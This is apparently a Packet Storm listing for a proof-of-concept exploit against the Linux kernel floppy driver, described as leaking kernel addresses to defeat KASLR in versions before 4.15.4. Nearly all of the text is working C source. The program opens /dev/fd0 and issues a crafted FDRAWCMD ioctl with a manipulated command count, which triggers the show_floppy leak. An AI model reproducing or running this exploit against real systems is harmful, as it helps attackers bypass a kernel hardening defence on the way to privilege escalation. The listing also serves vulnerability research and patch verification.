Linux Kernel show_floppy KASLR Address Leak

Linux Kernel versions prior to 4.15.4 show_floppy KASLR address leak proof of concept exploit.

MD5 | 6e10ab9298716b62d7143c85a42d0de1

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#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <linux/kernel.h>
#include <string.h>
#include <sys/mman.h>
#include <linux/fd.h>
 
static int drive_selector(int head) {
            return (head << 2);
}
 
void fd_recalibrate(int fd) {
                struct floppy_raw_cmd raw_cmd;
                int tmp;
 
                raw_cmd.flags = FD_RAW_INTR;
                raw_cmd.cmd_count = 2;
 
                // set up the command
                raw_cmd.cmd[raw_cmd.cmd_count++] = 0x07; 
                raw_cmd.cmd[raw_cmd.cmd_count++] = drive_selector(0); 
                tmp = ioctl( fd, FDRAWCMD, &raw_cmd ); 
                printf("Status:%d\n",tmp); 
} 
int main(){ 
        printf("Start\n"); 
        char *d; 
        struct floppy_raw_cmd *cmd; 
          
        int fd; 
        fd = open("/dev/fd0",O_RDWR | O_NDELAY); 
        fd_recalibrate(fd); 
        close(fd); 
        printf("End\n"); 
        return 0; 
}

Source: packetstormsecurity.com